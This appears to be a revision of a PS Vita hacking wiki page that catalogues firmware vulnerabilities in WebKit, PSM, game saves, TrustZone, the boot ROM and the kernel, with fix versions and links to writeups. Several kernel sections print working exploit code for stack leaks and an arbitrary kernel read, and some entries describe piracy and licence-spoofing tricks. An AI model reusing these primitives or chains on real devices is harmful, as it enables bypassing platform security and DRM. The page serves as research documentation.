Vulnerabilities: Difference between revisions

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Fixed in FW 3.70.
Fixed in FW 3.70.


=== 2 memcpy bugs (used in h-encore) ===
=== Two memcpy bugs (used in h-encore) ===


Discovered in 2018 by TheFloW.
Discovered in 2018 by TheFloW.
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== [[TrustZone]] ==
== [[TrustZone]] ==


A 1.80 [[TrustZone]] modules imports/exports list is available [[File:Psvita_1.80_tz_nids.txt]]
Note that a 1.80 [[TrustZone]] modules imports/exports list is available [[File:Psvita_1.80_tz_nids.txt]]


=== SMC 0x12F does not validate arguments (arbitrary read/write and code execution) ===
=== SMC 0x12F does not validate arguments (arbitrary read/write and code execution) ===
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To achieve code execution in [[TrustZone]], it is needed to set dst to the [[SMC]] table address in order to plant 2 pointers (8 bytes = 2 pointers * 4 bytes).
To achieve code execution in [[TrustZone]], it is needed to set dst to the [[SMC]] table address in order to plant 2 pointers (8 bytes = 2 pointers * 4 bytes).
* A full implementation by Proxima and SKGleba is available in [https://github.com/SKGleba/broombroom/blob/e33e3891282a6f643af5f724bca62dfb39d94ae9/proto_v103/tz.c#L121 broombroom repository], chained with .


Fixed somewhere around after FW 1.80 before FW 2.10.
Fixed somewhere around after FW 1.80 before FW 2.10.
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(2018-07-27) Petite Mort is a toolset to glitch the PS Vita [[First Loader]].
(2018-07-27) Petite Mort is a toolset to glitch the PS Vita [[First Loader]].


* [https://github.com/TeamMolecule/petite-mort]
Team Molecule found three software vulnerabilities in First Loader to exploit and dump it by glitching:
# The start of the SRAM is reused by First Loader as a scratch buffer for loading the SLSK. This scratch buffer can be overflown in order to overwrite the adjacent code. To exploit, glitch to bypass the SLSK maximum size check, in order to overflow the SLSK buffer in SRAM with a payload.
# The CMeP processor has the exception vectors set to this same SRAM location and there is no way to turn off exceptions. To exploit, firstly replace the first block of the SLSK file with an exception vector that will jump into a payload. Then trigger a glitch just after the block is loaded, to cause an exception and jump to the payload.
# After reset, First Loader loads secure_kernel.enp from the memory instead of from the eMMC. It copies 64 bytes of the SLSK file, verifies the header, and loads the rest of the file only if the header check passes. If the check fails, it does not wipe the data so in effect we are still able to overwrite the exception vectors, this time with only 64 bytes instead of 256. To exploit:
## Boot the PS Vita up normally using the Ensō exploit to get ARM [[NSKBL]] code execution (though ARM non-secure kernel would be sufficient).
## Privilege escalate to ARM TrustZone using a separate exploit.
## Get code execution in CMeP (Second Loader, Secure Kernel or a Secure Module) with yet another exploit.
## Perform the reset handshake between CMeP Secure Kernel and ARM TrustZone.
## Load the exception vector payload in ARM TrustZone and trigger the glitcher with a sequence of characters written to UART console.
## After some time offset, the glitch happens and causes an exception in CMeP, which runs the payload.


See also yifan lu's academic paper about [https://arxiv.org/pdf/1903.08102.pdf Injecting Software Vulnerabilities with Voltage Glitching].
The second and third vulnerabilities are detailed in the [[#cMeP_exception_vectors_reused_as_SLSK_load_buffer|cMeP exception vectors reused as SLSK load buffer]] section.
 
So with these three software vulnerabilities and a hardware glitcher, one can finally get 16320 out of 16384 bytes of the boot ROM code. The remaining 64 bytes turn out to be just the original exception table which is the same entry to a panic, repeated 15 times. We also guess that the reset vector (0x0) points to the only boot code in the system.
 
* Source code available [https://github.com/TeamMolecule/petite-mort here].
 
* See also yifan lu's academic paper about [https://arxiv.org/pdf/1903.08102.pdf Injecting Software Vulnerabilities with Voltage Glitching].
 
* See also [https://teammolecule.github.io/35c3-slides/ yifan lu's slides from his presentation at 35c3].


==== cMeP exception vectors reused as SLSK load buffer ====
==== cMeP exception vectors reused as SLSK load buffer ====
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|}
|}


Through [[Glitching]], we can inject a fault in either the decoding or execution units of the processor and trigger one of these exceptions. By writing a fake [[SLSK]] file that actually masquerades as a cmep exception handler table that all points to our payload, we can execute cmep code at bootrom time (before bootrom is unmapped). This is a very desirable glitching target because it almost requires no precision (any instruction anywhere can be "corrupted" into something that triggers an exception) and allows for "spray and pray" style of glitch attacks. In practice, we found this target to have an insanely high success rate.
Through [[Glitching]], we can inject a fault in either the decoding or execution units of the processor and trigger one of these exceptions. By writing a fake [[SLSK]] file that actually masquerades as a cmep exception handler table that all points to our payload, we can execute cmep code at bootrom time (before bootrom is unmapped). This is a very desirable glitching target because it almost requires no precision (any instruction anywhere can be "corrupted" into something that triggers an exception) and allows for "spray and pray" style of glitch attacks. In practice, Team Molecule found this target to have an insanely high success rate.


In First Loader there are two [[SLSK]] load paths. The first one is used at initial boot to read [[Second Loader]] .enp file from the eMMC or [[SLSK#Secret_debug_mode|SD Card]]. In this path, the minimum payload size is 0x200 bytes because at most 1 eMMC block must be read. The second path is used in early boot to read the [[Secure Kernel]] .enp or .enp_ file which is loaded from the [[SLB2]] partition by ARM TZ processor to volatile memory. This second path is more difficult to reach because it requires a handshake between cmep ("you are allowed to reset me") and ARM TZ ("I am going to reset cmep"). However, as long as both cmep and ARM TZ are pwned post-boot, the second path can be triggered.
In First Loader there are two [[SLSK]] load paths. The first one is used at initial boot to read [[Second Loader]] .enp file from the [[eMMC]] or [[SLSK#Secret_debug_mode|SD Card]]. In this first path, the minimum payload size is 0x200 bytes because at most one eMMC block must be read. The second path is used in early boot to read the [[Secure Kernel]] .enp or .enp_ file which is loaded from the [[SLB2]] partition by ARM [[TrustZone]] to volatile memory. This second path is more difficult to reach because it requires a handshake between [[CMeP]] ("you are allowed to reset me") and ARM [[TrustZone]] ("I am going to reset cmep"). However, as long as both cmep and ARM TZ are pwned post-boot, the second path can be triggered.


The advantage of the first path is that it is easier and faster to trigger (always hits on first boot). The disadvantages are that it corrupts the first 0x200 bytes of cmep memory (which we might want to dump) and that it requires "bricking" the device if running from eMMC (because second loader is replaced by our payload). Note that with a proper hardware flasher and a backup beforehand, it is possible to unbrick a corrupted second loader.
The advantage of the first path is that it is easier and faster to trigger (always hits on first boot). The disadvantages are that it corrupts the first 0x200 bytes of cmep memory (which we might want to dump) and that it requires "bricking" the device if running from [[eMMC]] (because [[Second Loader]] is replaced by the payload). Note that with a proper hardware flasher and a backup beforehand, it is possible to unbrick a corrupted second loader.


The advantage of the second path is that it does not require a hardware flasher and that it only corrupts 0x40 bytes of cmep memory. The disadvantage is that it requires more work to trigger (code execution both in ARM TZ and cmep) and it takes longer to trigger (since you have to boot the system to a point where you can pwn cmep and ARM TZ).
The advantage of the second path is that it does not require a hardware flasher and that it only corrupts 0x40 bytes of cmep memory. The disadvantage is that it requires more work to trigger (code execution both in ARM TZ and cmep) and it takes longer to trigger (since you have to boot the system to a point where you can pwn both cmep and ARM TZ).
 
* See also yifan lu's academic paper about [https://arxiv.org/pdf/1903.08102.pdf Injecting Software Vulnerabilities with Voltage Glitching].
 
* See also [https://teammolecule.github.io/35c3-slides/ yifan lu's slides from his presentation at 35c3].


==== First Loader SLSK buffer overflow ====
==== First Loader SLSK buffer overflow ====


(2019-08-30) Some development (prototype) boot ROMs do not check [[SLSK]] header correctly. Specifically, the body_size field (at [[SLSK]] offset 0x10) is only checked after adding it to "offset_to_code". The calculation can overflow, for example, when <code>body_size == -offset_to_code</code>. Further, when loading a [[SLSK]] binary from ARM, the size to copy in is calculated with <code>(scratch->body_size + scratch->offset_to_code) - 0x40</code>. Now that the sum of body_size and offset_to_code is 0, this calculation would underflow to -0x40, or 0xffffffc0, resulting in a huge amount of data being copied in and overwriting parts of the boot ROM.
(2019-08-30) In some development prototype PS Vita, the boot ROM does not check the [[SLSK]] header correctly. Specifically, the body_size field (at [[SLSK]] offset 0x10) is only checked after adding it to "offset_to_code". The calculation can overflow, for example, when <code>body_size == -offset_to_code</code>. Further, when loading a [[SLSK]] binary from ARM, the size to copy in is calculated with <code>(scratch->body_size + scratch->offset_to_code) - 0x40</code>. In the case that the sum of body_size and offset_to_code is 0, this calculation would underflow to -0x40, or 0xffffffc0, resulting in a huge amount of data being copied in and overwriting parts of the boot ROM.
 
This software vulnerability is far more convenient than the glitch ones as it does not require hardware nor risks bricking, but only works on some old prototype PS Vita models. To avoid the need of a hardware flasher, it is needed to avoid overwriting any SLSK in the <code>sloader</code> partition but instead to use ARM TrustZone and CMeP exploits to load a custom Secure Kernel SLSK to volatile memory, do the handshake then trigger a reset.
 
The exploitation steps are similar to the ones of the third software vulnerability triggered by glitch:
# Boot the PS Vita up normally using the Ensō exploit to get ARM [[NSKBL]] code execution (though ARM non-secure kernel would be sufficient).
# Privilege escalate to ARM TrustZone using a separate exploit.
# Get code execution in CMeP (Second Loader, Secure Kernel or a Secure Module) with yet another exploit.
# Perform the reset handshake between CMeP Secure Kernel and ARM TrustZone.
# Load the exception vector payload and Secure Kernel SLSK with exploit body_size in header, using ARM TrustZone.
# After some time, the overflow happens and causes an exception in CMeP, which runs the payload.


* [https://github.com/SKGleba/broombroom Implementation of the First Loader SLSK buffer overflow in broombroom by SKGleba]
* See the implementation of the First Loader SLSK buffer overflow by SKGleba and Proxima in the [https://github.com/SKGleba/broombroom broombroom repository].


Confirmed present in PS Vita units with Product Sub Code 0xD and older. Fixed in PS Vita units with Product Sub Code 0xF and newer.
Confirmed present in PS Vita units with Product Sub Code 0xD and older. Fixed in PS Vita units with Product Sub Code 0xF and newer.

Revision as of 04:11, 10 November 2024

Usermode

WebKit exploits

WebKit exploits in the Email application

Implemented by xyz, in order HENkaku to be launched offline.

In FW 2.00, Email has been added as an application. However it does not support HTML pages. Since FW 2.10, the Email application now allow users to view HTML messages. As a consequence, since FW 2.10 JavaScript is also supported by the Email app.

See xyz's writeup.

Not supported in FW 2.060.011 and earlier. Not fixed as of FW 3.740.011.

WebKit 531.22.8 (PS Vita FW <= 1.81) (CVE-2010-4577 and CVE-2010-1807)

There are two exploits used for WebKit prior to FW 2.00. One is a data leakage exploit CVE-2010-4577 [1] using type confusion to treat a double as a string memory address and length. The other is a type confusion exploit CVE-2010-1807 on the parseFloat() function using a Nan as the arg. [2]

WebKit 536.26 (PS Vita FW 2.00-3.20) (CVE-2012-3748) (PSA 2013-09-03-1)

Ported to PS Vita by many many people. Fixed in FW 3.30.

The heap memory buffer overflow vulnerability exists within the WebKit's JavaScriptCore JSArray::sort(...) method. This method accepts the user-defined JavaScript function and calls it from the native code to compare array items. If this compare function reduces array length, then the trailing array items will be written outside the "m_storage->m_vector[]" buffer, which leads to the heap memory corruption.

Packet Storm Exploit 2013-0903-1 - Apple Safari Heap Buffer Overflow

exploit code by Davee

WebKit 537.73 (as used in PS Vita FW 3.30-3.36) (CVE-2014-1303)

Ported to PS Vita by xyz. Fixed in FW 3.50.

The CSSSelectorList can be mutated after it's allocated. If the mutated list contains less entries than the original one, a restrictive 1-bit OOB write can be achieved. [3] [4] [5]

WebKit 537.73 (as used in PS Vita FW 3.30-3.60) (JSArray::sortCompactedVector)

Discovered in 2015 by xyz. Implemented in HENkaku by Team Molecule. Fixed in FW 3.61 (see how it was fixed).

The JSArray::sort method has a heap use-after-free vulnerability. If an array containing an object with a custom toString method is sorted, and the toString method causes the array to be reallocated, then the sorted elements will be written to the old freed address.

xyz's writeup about 3.60 WebKit exploit

xyz's writeup about ROP in webbrowser

3.60 WebKit exploit source code by xyz

3.60 WebKit exploit commented code by St4rk

WebKit 537.73 (as used in PS Vita FW 3.30-3.74)

Ported from PS4 to PS Vita by TheFloW in henlo.

See also [1].

To be detailed.

Working in FWs 3.30-3.740.011. Not fixed yet.

PSM (PlayStation Mobile) exploits

PSM apps for PS Vita were removed from the PS Store in 2015. Nevetheless, a set of tricks allow to install and use PSM on any PS Vita running FW <= 3.51.

PSM apps cannot work in FWs >=3.52 because they are blacklisted in PS Vita OS (at cmep level). This can be bypassed only with a kernel exploit and ref00d/0syscall6 plugin.

PSM Dev For Unity can be installed without the PS Store

PSM Dev For Unity is packed into a DRM-free .pkg. It can so be installed using PKG Installer, or BGDL .pkg trick. It is not patchable.

PSM+

PSM developer license can be spoofed using filesystem write access and signed with keys.

PSM Dev for Unity trusts Local Time

PSM Dev for Unity trusts the system time set by the user when it checks Developer License expiration. Indeed, it uses sceRtcGetCurrentTick but not the secure RTC (sceRtcGetCurrentSecureTick). So if you have a valid PSM Publisher license, you can just set your system time back to when it was valid.

PSM Mono privilege escalation

See writeup by yifan lu.

PSM Retail game executables not signed if under 0x10000 bytes

Only thing to verify that a PSM Executable is legitimate is a MD5 hash, and a signature included in every 0x10 encrypted blocks. If the file has less than 0x10 blocks, then the signature is never included. So, you should be able to encrypt your own PSM executable with the same key, and run it even on the newest PS Vita System Software. However as PSM Store server shut down, and PSM Activation service shut down too, it is impossible to actually get a license + activation for any game unless you had one already, so this vulnerability is not that useful. Nevertheless, by changing ConsoleId and/or OpenPsId, using the AES CTR exploit, it is possible to use PSM content license and PSM console activation from a donor console.

PSM Unity privilege escalation

UnityEngine.dll is a trusted assembly (SecurityCritical). It is not signed so it can be modified. However, the actual file at ux0:app/PCSI00009/managed/UnityEngine.dll is PFS signed and encrypted. Luckily, in FWs <= 3.61 you should be able to use the ux0:patch/ trick to inject a modified UnityEngine.dll.

PSM NetworkRequest privilege escalation

NetworkRequest.BeginGetResponse(AsyncCallback callback) invokes callback with SecurityCritical allowing for a privilege escalation. Unfortunately, Sony closed down the scoreboards feature [6] which means that Network.AuthGetTicket() fails and Network.CreateRequest() cannot be invoked. There is no other way of creating a NetworkRequest object. 

using System;
using System.Security;
using System.Runtime.InteropServices;
using Sce.PlayStation.Core.Services;

namespace NetHax
{
	public class AppMain
	{
		[SecurityCritical]
		public static void Escalate (IAsyncResult result)
		{
			Console.WriteLine("Should be SecurityCritical");
			IntPtr ptr = Marshal.AllocHGlobal(1000);
			Console.WriteLine("Look at me allocating memory: 0x{0:X}", ptr);
		}
		
		public static void Main (string[] args)
		{
			Network.Initialize("af1c0a1b-a7b8-4597-a022-eee91e6735d1");
			Network.AuthGetTicket();
			NetworkRequest req = Network.CreateRequest(NetworkRequestType.Get, "", "");
			IAsyncResult result = req.BeginGetResponse(new AsyncCallback(Escalate));
			while (!result.IsCompleted)
			{
				Console.WriteLine("waiting...");
			}
			Console.WriteLine("Completed!");
		}
	}
}

SecurityCritical whitelist failure

SecurityCritical whitelist checks assembly filename ONLY and nothing else. Simply create a dll file called "Sce.PlayStation.Core.dll" or "mscorlib.dll" and it will get SecurityCritical permission in PSM Runtime.

  • This has been only tested in Windows PSM Runtime psm.exe.

Game savedata exploits

Discovered in 2015 by TheFlow. Released on 2018-06-29.

This sort of exploit works in theory on any firmware (not patchable, or hardly).

Savedata exploits versus WebKit exploits

h-encore uses a different entry point than its predecessor HENkaku. Instead of a WebKit exploit, it is using a gamesave exploit. The reason for that is after firmware 3.30 or so, Sony introduced sceKernelInhibitLoadingModule() in their browser, which prevented us from loading additional sysmodules. This limitation is crucial, since this was the only way we could get more syscalls (than the browser uses), as they are randomized at boot and only assigned to syscall slots if any user module imports them. h-encore needs to load SceNgsUser, a sysmodule vulnerable to kexploits.

Old games do not have ASLR

The reason why a gamesave exploit is possible on such a system is because games that were developed with an SDK 2.60 and lower were compiled as a statically linked executable, thus their loading address is always the same, namely 0x81000000, and they cannot be relocated to an other region. They also do not have stack protection enabled by default, which means that if we can stack smash in such a game, we can happily do ROP.

Fixed in games developed with SDK 2.60 and newer SDKs.

Method for finding a savedata bug

Looking for gamesave exploits is a boring process: you just fuzz games savedata by writing random stuff at random locations until you get a crash. The best bet is extending strings and hope that you can smash the stack.

Bittersmile game buffer overflow (h-encore)

Bittersmile game found exploitable on 2018-02-17 by Freakler. Implemented in h-encore by TheFloW.

The bug relies on the parser of the bittersmile game. The gamesave is actually a text file and the game reads it line by line and copies them to a list of buffers. However it does not validate the length, thus if we put the delimiter '\n' far away such that the line is longer than the buffer can hold, we get a classic buffer overflow. If this buffer is on stack, we can make it overwrite the return address and straightly execute our ROP chain. However it is on the data section, but luckily for us, the content after the buffer is actually the list that contained destinations for other lines. This means that if we overflow into the list and redirect the buffer, we can copy the next line to wherever we want and therefore enable us an arbitrary write primitive.

Not patchable. Bittersmile game requires minimal FW ?2.50? to run.

h-encore writeup by TheFloW

Youtube Stack Pointer control vulnerability

There was a vulnerability in the Youtube application that could allow to manipulate the stack pointer (SP).

But this vulnerability is not interesting because Sony removed the YouTube app from the PS Store, it is not DRM Free and it cannot be exploited easily.

PSP Emulator escape

See Trinity writeup by TheFloW.

Why hack the PSP Emulator? Why not WebKit/games?

The PSP Emulator runs at system privileges which are equivalent to root. By gaining control over the emulator, we are exposed to almost ALL syscalls, unlike the WebKit process that is sandboxed. Similarly, the previous jailbreak h-encore exploited a gamesave vulnerability such that it could invoke the NGS syscalls.

Buffer overflow in ScePspemuRemoteNet-KERMIT_CMD_ADHOC_CREATE

Discovered on 2018-05-26 by TheFloW. Implemented in Trinity by TheFloW.

writeup

Fixed in FW 3.71.

CSC does not sanitize check the row number (arbitrary usermode memory read)

Discovered on 2018-06-04 by TheFloW. Implemented in Trinity by TheFloW.

writeup

Fixed in FW 3.71.

System

ux0:patch and grw0:patch files do not need to be PFS encrypted

Discovered in 2015 by mr.gas and exploited by Silica in 2016.

This can lead to piracy of certain digital games that have a trial version. This piracy method is similar to the CFW2OFW method on PS3.

See [2].

Fixed in FW 3.63.

PS Vita can use PSP/PS3 PS Store activation licenses

Discovered by CelesteBlue in 2015 and exploited in 2016.

PS Vita can use .rif downloaded from PS Vita, PSP, or PS3. Implemented in ReStore by CelesteBlue. Note that since 2022-05-10, connection to PSN requires a device password instead of the usual account password. This renders .rif download as a PS3 harder because the device password must be asked on Playstation Network website for the PS3, not for the PS Vita. So the full PS3 PSN sign-in must be simulated and a device with a web browser is required to access the Sony Entertainment Network website.

PS Vita can use PSP or PS3 act.dat if we spoof ConsoleId (idps) and OpenPSID. Implemented in ReNpDrm by CelesteBlue.

This shows that no matters how secure PS Vita's Store is, til PS3 Store is online, PS Vita Store contents can be activated for use on PS Vita.

PS Store Activation server does not check challenge anymore

Discovered by many PS Vita users in May 2018.

Since May 2018, the challenge string in requests sent from PS Vita to PSN for Content and PSN Account activations is not checked anymore server-side.

This means that to activate a PS Vita or its PS Store contents, it suffices to spoof System Software version for bypassing the System Software update request popup, and to spoof a recent SEN passphrase in SceShell. Both spoofs are done by taiHEN (in henkaku.suprx). This also means that ReStore and ReNpDrm are not needed anymore.

Kernel

Syscall handler treats syscall ID as a signed integer

Discovered on 2022-08-28 by CreepNT.

In earliest System Software versions, the syscall handler in SceKernelIntrMgr treats the syscall ID passed in r12 as a signed integer. Note that this is a separate vulnerability from the unchecked syscall ID one.

The handler also has a special code path for "fast syscalls": 

static int (*GLOBAL_FAST_SYSCALL_TABLE[0x100])(); // array of 0x100 function pointers

if (r12 < 0x100)
   return GLOBAL_FAST_SYSCALL_TABLE[r12]();

This code may look safe, but due to r12's signedness, it will also be executed if r12 is negative (as any negative number is also inferior to 0x100) - thus a pointer from an arbitrary address before the global table can be dereferenced and executed.

In System Software versions affected by this bug, the available range for the unchecked syscall ID vulnerability is thus halved since all values between 2^31 and (2^32)-1 are treated as negative and fall in the fast syscall path instead of the regular path. Because both cases lack bounds checks, however, this can largely be ignored.

Present since FW 0.931.010.

Fixed in FW 0.990 by treating syscall ID as an unsigned integer instead of a signed integer.

Unlimited stack pointer (SP) control in SceAppMgr

Discovered on 2022-03-07 by Princess of Sleeping.

In FW 0.990, in some SceAppMgr syscalls like SceAppMgr#_sceAppMgrGetBootParam, SP can be controlled with the value passed from usermode as the function does not sufficiently check the validity of the argument.

By exploiting this vulnerability, it may be possible to write data to any kernel address. As the length of data to be copied is proportional to the control size of SP, it is not possible to copy larger data.

It seems fixed since FW 0.996.

Arbitrary kernel execution due to SceDeci4pDbgpForDriver export to usermode

Discovered on 2022-01-13 by CreepNT.

Between FW 0.931.010 and FW 1.000.071 (excluded), the SceDeci4pDbgpForDriver library is exported to usermode (library has attribute SYSCALL_EXPORT).

However, as the ForDriver suffix in the library's name indicates, it should only be exported to kernel. Since FW 0.990, the sceDbgpSetDTraceBreakpointHandlerForDriver function is provided by this library, and can thus be called from usermode.

By installing a custom breakpoint handler with this function, then triggering a DTrace breakpoint (bkpt #0x90), an arbitrary function might be able to be executed with Kernel privileges (either that, or kernel will panic).

Because the SceDeci4pDbgp module is only present in TOOL firmware, this vulnerability only works on DevKit.

On DevKit, usermode code execution is allowed in fSELF, so this exploit should be easily testable if one gets a hand on a DevKit on a FW between 0.990 and 1.000.071.

Fixed in FW 1.000.071 by not exporting library to usermode.

Syscall handler does not check syscall ID

Discovered on 2015-07-03 by Team Molecule.

The syscall handler in SceKernelIntrMgr finds the function to execute for a given syscall ID with a simple pFunc = gpSyscallTable[r12];. However, the value in r12 is never checked to be in the bounds of the syscall table. A large syscall ID passed in r12 will cause the function pointer to be read past the syscall table, leading to an arbitrary kernel function pointer being dereferenced then executed.

Present since FW 0.931.010. Tested in FW 1.50-1.60.

Fixed in FW 1.61 by ensuring that syscall ID is valid. This consists in addition of the condition (r12 < 0x100) && ((r12 - 0x100) < 0xF00). Note that the first 0x100 syscalls are handled differently.

Syscall handler leaks syscall table virtual address

Discovered on 2019-08-01 by Princess of Sleeping.

Calling SVC with an invalid syscall ID will make SceKernelIntrMgr end the SVC interrupt without clearing syscall table virtual address in r0. This leads to knowledge of the syscall table virtual address, from which SceKernelIntrMgr data segment address can be derived.

This can be used to ease a bit address resolving in the #Syscall handler does not check syscall ID vulnerability, although a partial kernel memory dump of the kernel function to call remains necessary.

Fixed in FW 1.61 by ensuring that syscall ID is valid. This consists in addition of the condition (r12 < 0x100) && ((r12 - 0x100) < 0xF00). Note that the first 0x100 syscalls are handled differently. As the syscall table is always filled, thanks to placeholders, this cannot be exploited anymore.

Fixed totally in FW 1.66 by replacement of the "syscall trap branch" if (syscall_table[r12] == NULL) with bkpt #0.

Kernel stack buffer overflow in sceSblDmac5EncDec

Discovered on 2014-09-16 by Team Molecule. Implemented in xyz's 1.61 exploit chain in 2016, then in CelesteBlue's QuickHEN_PSVITA.

SceSblDmac5Mgr_sceSblDmac5EncDec 

This function:
reads in 0x18 bytes from first arg
processes a little
then:
ROM:005F711A                 MOV             R1, R11
ROM:005F711C                 ADD             R0, SP, #0x88+var_70
ROM:005F711E                 MOV.W           R2, R10,LSR#3
ROM:005F7122                 BLX             sceKernelCopyFromUserForDriver
R10 comes from original read in buffer+0x10

Tested in FW 1.61. Fixed in FW 1.80. Moreover, an sceSblACIsSystemProgram check was added, preventing exploitation from non-system usermode code execution.

Kernel stack leak in sceIoDevctl

Discovered on 2014-11-24 by Team Molecule Team. Implemented in HENkaku by Team Molecule.

Tested successfully on firmware 0.995 in fSELF. Since at least firmware 1.030, it works only via WebKit (not fSELF nor games but maybe ePSP or PSM) exploits.

Some kernel stack data are leaked to usermode by SceIofilemgr#sceIoDevctl because of a missing memory cleaning.

Call some functions that interest you in a kernel context i.e. syscalls, for example SceLibKernel#sceIoOpen, to fill the kernel stack with this function's work data. Then call SceLibKernel#sceIoDevctl to get up to 0x3FF bytes of that kernel stack. 

    // make a buffer, tagged with '0x66' bytes
    char outbuf[0x400];
    memset(outbuf, 0x66, 0x400);
    
    sceIoOpen("molecule0:", 0, 0); // populate kernel stack
    
    // kernel stack leak to outbuf
    sceIoDevctl("sdstor0:", 5, "xmc-lp-ign-userext", 0x14, &outbuf, 0x3FF);

    // check if our data were actually written to outbuf
    hex_dump("kstack", (unsigned char*) outbuf, 0x400);

Since FW 3.61, a memset was added in _sceIoDevctl's subroutine: 

memset(local_buf, 0xFF, buflen);

Fixed in FW 3.61.

Heap use-after-free in sceNetSyscallIoctl

Discovered on 2016-04-05 by Team Molecule. Implemented in HENkaku by Team Molecule.

See xyz's writeup.

sceNetSyscallIoctl is declared as int sceNetSyscallIoctl(int s, unsigned flags, void *umem). When memsz = (flags_ >> 16) & 0x1FFF is in range (0x80; 0x1000], it will use SceNetPs custom malloc to allocate a buffer of that size on the heap.

However, the second argument to malloc is 0, meaning that when not enough memory is available instead of returning NULL, it unlocks the global SceNetPs mutex and waits on a semaphore.

Then, while malloc is waiting, another thread can free the socket sceNetSyscallIoctl is operating on, causing a use-after-free condition.

When passed proper arguments, sceNetSyscallIoctl will execute a function from the socket's virtual table at the end: 

v13 = (*(int (__fastcall **)(int, signed int, unsigned int, char *))(*(_DWORD *)(socket + 24) + 28))(
      socket,
      11,
      flags_,
      mem_);

Fixed in FW 3.63. See how it was fixed.

3 kernel exploits on DevKit by TheFloW

Fixed in FW 3.68 or in FWs just before. These functions cannot be called because they are not imported into system or released games.

Kernel stack leak in sceMotionDevGetEvaInfo

This can be used to defeat kernel ASLR on DevKit in FW < 3.68.

But, this vulnerability may not be available depending on the model.

Click here for detailed code of exploit. 

uint32_t info[0x12];

int leak_kstack_addr_motiondev() {
	uint32_t ret;
	
	// 1) Call a function (syscall) that writes sp to kernel stack
	ret = sceAppMgrLoadExec(NULL, NULL, NULL);

	// 2) Leak kernel stack
	ret = sceMotionDevGetEvaInfo(&info);
	if (ret < 0)
		printf("sceMotionDevGetEvaInfo returned: 0x%08X\n");

	// 3) Get kernel stack address
	return info[3] & 0xFFFFF000;
}

int leak_sysmem_addr_motiondev() {
	uint32_t ret;
	
	// 1) Call a function (syscall) that writes sp to kernel stack
	ret = sceAppMgrLoadExec(NULL, NULL, NULL);

	// 2) Leak kernel stack to info buffer
	ret = sceMotionDevGetEvaInfo(&info);
	if (ret < 0)
		printf("sceMotionDevGetEvaInfo returned: 0x%08X\n");

	// 3) Get SceSysmem kernel module text segment base address
	return (info[0] - 0x27000) & 0xFFFF0000; // SceSysmem base address resolving for any FW, method found by CelesteBlue
}

sceNgsVoiceDefinitionGetPresetInternal insufficient checks (arbitrary kernel read)

sceNgsVoiceDefinitionGetPresetInternal does a memcpy from kernel to usermode and does not do sufficient checks to prevent out of bounds arbitrary kernel read.

FW 0.990.030 pseudo-C: 

SceUInt32 sceNgsVoiceDefinitionGetPresetInternal(SceNgsVoiceDefinition *pVoiceDefn, SceUInt32 uPresetIndex, SceNgsVoicePreset *pVoicePreset) {
  SceUInt32 is_kernel_addr;
  SceUInt32 ret;
  SceUInt32 uVar1;
  SceInt32 syscall_state;
  
  ENTER_SYSCALL(syscall_state);
  is_kernel_addr = is_kernel_addr();
  if ((pVoicePreset == (SceNgsVoicePreset *)0x0) || (pVoiceDefn != (SceNgsVoiceDefinition *)0x0)
                                                 || (is_valid_vaddr(pVoicePreset, 4, is_kernel_addr) == 0))
    ret = SCE_NGS_ERROR_INVALID_PARAM;
  else {
    if (uPresetIndex < (SceUInt32)pVoiceDefn->uNumVoicePresets) {
      copyout(pVoicePreset, (void *)((SceInt32)&pVoiceDefn->uMagic + uPresetIndex * 0x18 + pVoiceDefn->nVoicePresetsOffset), 4, is_kernel_addr);
      ret = 0;
    }
    else
      ret = SCE_NGS_ERROR_PARAM_OUT_OF_RANGE;
  }
  EXIT_SYSCALL(syscall_state);
  return ret;
}

See original full exploit code by TheFloW here.

Also reimplemented by CelesteBlue here.

And detailed code by CelesteBlue: 

// Read 4 bytes from kernel memory to usermode
int kernel_read_ngs_word(void *dst, const void *src) {
	// 0) Get kernel stack address
	void *kstack_addr = leak_kstack_addr();

	// 1) Setup exploit data
	SceUInt32 KSTACK_DEVCTL_OFFSET = 0xAF0; // 0xF20 for 1.50-1.61, 0xB20 for 1.692, 0xAF0 for 3.55-3.68
	#define VOICEDEF_PRESET_LIST_OFFSET_OFFSET 0x30
	SceNgsVoiceDefinition *pVoiceDefn = kstack_addr + KSTACK_DEVCTL_OFFSET; // pVoiceDefn is a kernel pointer
	const SceUInt32 uPresetIndex = 0; // the simplest, 0 is nice because it simplifies multiplications
	SceNgsVoicePreset *pVoicePreset = dst;

	SceNgsVoiceDefinition voiceDefn;
	// Set voiceDefn.nVoicePresetsOffset to read out of bounds:
	// src = (void *)((SceInt32)pVoiceDefn + uPresetIndex * 0x18 + *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset)
	// src = (void *)((SceInt32)pVoiceDefn + *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset) (by taking uPresetIndex = 0)
	// src = kstack_addr + KSTACK_DEVCTL_OFFSET + *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset
	// *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset = src - (kstack_addr + KSTACK_DEVCTL_OFFSET)
	voiceDefn.nVoicePresetsOffset = (SceUInt32)src - (SceUInt32)pVoiceDefn;

	// Set voiceDefn.uNumVoicePresets to 0xFFFFFFFF because uPresetIndex = 0 so we must have (uPresetIndex < (SceUInt32)pVoiceDefn->uNumVoicePresets)
	voiceDefn.uNumVoicePresets = 0xFFFFFFFF;

	// 1) Write exploit data into kernel stack
	sceIoDevctl("", 0, &voiceDefn, sizeof(SceNgsVoiceDefinition), NULL, 0);

	// 2) Call vulnerable function
	// Trigger sceKernelCopyToUserForDriver(pVoicePreset,
	// (void *)((SceInt32)&pVoiceDefn->uMagic + uPresetIndex * 0x18 + pVoiceDefn->nVoicePresetsOffset), 4);
	return sceNgsVoiceDefinitionGetPresetInternal(pVoiceDefn, uPresetIndex, pVoicePreset);
}

void kernel_read_ngs(void *dst, const void *src, SceUInt32 len) {
	for (SceUInt32 i = 0; i < size; i += 4)
		kernel_read_ngs_word(dst + i, src + i);
}

Fixed in FW 3.68. Function was replaced by a dummy return 0;.

sceKernelGetMutexInfo_089 can write into kernel memory

sceKernelGetMutexInfo_089 should have been exported only as a kernel function, but Sony mistakenly exported it as a usermode function.

The vulnerability is a restricted kernel write from usermode, because it executes a memcpy with controlled destination, where destination must not necessarily be in usermode.

The copied data cannot be totally controlled because it must follow SceKernelMutexInfo structure. Maximum copied size in one call is 0x40 bytes. 

// usermode export
int sceKernelGetMutexInfo_089(SceUID mutexid, SceKernelMutexInfo *pInfo) {
	int res;
	SceUID kernel_mutexid;
	void *a_ptr;

	kernel_mutexid = scePUIDtoGUIDForDriver(0, mutexid);
	if (kernel_mutexid < 0)
		return 0xC0028141;
